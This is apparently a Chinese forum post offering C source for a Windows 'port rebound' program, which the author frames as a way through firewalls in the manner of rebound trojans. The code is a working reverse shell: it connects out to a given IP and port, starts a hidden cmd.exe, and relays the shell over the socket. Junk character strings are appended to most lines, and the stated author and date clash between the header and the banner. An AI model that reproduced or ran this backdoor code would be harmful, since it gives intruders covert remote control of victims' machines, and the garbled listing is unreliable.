Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 >#
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/* ============================== xv]z>4@z,  
Rebound port in Windows NT [7@blU  
By wind,2006/7 /]U$OP*0  
===============================*/ ,l>w9?0Z  
#include E'WXi!>7p  
#include MJ:c";KCq0  
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#pragma comment(lib,"wsock32.lib") mE<_oRM)  
kZ% AGc  
void OutputShell(); iV{_?f1jo  
SOCKET sClient; .V;,6Vq
 
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; fV"Y/9}(  
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void main(int argc,char **argv) t1Ts!Q2  
{ d'_q9uf'  
WSADATA stWsaData; l+Wux$6U  
int nRet; $wM..ee  
SOCKADDR_IN stSaiClient,stSaiServer; (:b
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if(argc != 3) 0fqcPi  
{ XC3)#D#HGh  
printf("Useage:\n\rRebound DestIP DestPort\n"); o9xc$hX}  
return; *ra)u-  
} ]t0o%w  
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WSAStartup(MAKEWORD(2,2),&stWsaData); li
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =zn'0g,J4  
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stSaiClient.sin_family = AF_INET; ,l&?%H9q  
stSaiClient.sin_port = htons(0);  P@O_MT  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); s,_+5ukv  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) %B@NW2ZQ[  
{ .F ?ww}2p]  
printf("Bind Socket Failed!\n"); /gu VA  
return; ?xaUWD  
} ;2kQ)Bq"  
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stSaiServer.sin_family = AF_INET; 12^uu)6Xm,  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); <Y)14w%  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); oywPPVxj  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ranem0KQ)]  
{ phDIUhL$z  
printf("Connect Error!"); 1sXCu|\q  
return; "
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} Xq1#rK(  
OutputShell(); |)7K(R)(=  
} !>Nlp,r&~  
j}Tv/O,f  
void OutputShell() t]&.'n,  
{ j)@W1I]2#  
char szBuff[1024]; CAc]SxLh  
SECURITY_ATTRIBUTES stSecurityAttributes; AON |b\?  
OSVERSIONINFO stOsversionInfo; >)K3  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; !/}4_s`,  
STARTUPINFO stStartupInfo; 6Jgl"Jw8  
char *szShell; j"jssbu}  
PROCESS_INFORMATION stProcessInformation; 8J,^O04<  
unsigned long lBytesRead; `O7vPE  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ]:f.="  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 'N{1b_v?  
stSecurityAttributes.lpSecurityDescriptor = 0; <);j5)/  
stSecurityAttributes.bInheritHandle = TRUE; Uv59 XF$  
cEHpa%_5  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); u/W{JPlL  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \0|x<~#j'  
}e7/F[c.U  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 1'~+.92Y  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4s m [y8  
stStartupInfo.wShowWindow = SW_HIDE; ?Z|y-4 &>  
stStartupInfo.hStdInput = hReadPipe; _CNXyFw.7  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; u4lM>(3Y}  
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GetVersionEx(&stOsversionInfo); (B` NnL$  
ky !ZJR  
switch(stOsversionInfo.dwPlatformId) 5JOfJ$(n  
{ :/6:&7s  
case 1: p cD}SY
 
szShell = "command.com"; L@MCB-@V  
break; lsV>sW4]Z  
default: Gh_5$@ hF  
szShell = "cmd.exe"; 9ZOQNN<ex  
break; _ (b4|hJ'  
} kYS#P(1  
/;_$:`|/  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); =)y$&Ydj  
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send(sClient,szMsg,77,0); d)48m}[:  
while(1) 70avr)OM  
{ .NdsKhg b  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); e`+  
if(lBytesRead) tln}jpCw  
{ <c@dE  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 4PSbr$  
send(sClient,szBuff,lBytesRead,0); Q-, 4  
} k&yBB%g  
else a\-5tYo`u  
{ tQj=m_  
lBytesRead=recv(sClient,szBuff,1024,0); !o'a]8  
if(lBytesRead<=0) break; 9on$0  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); >o"s1* {  
} xD7Y"%Pbx  
} KXTk.\c  
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return; G} [$M"}  
}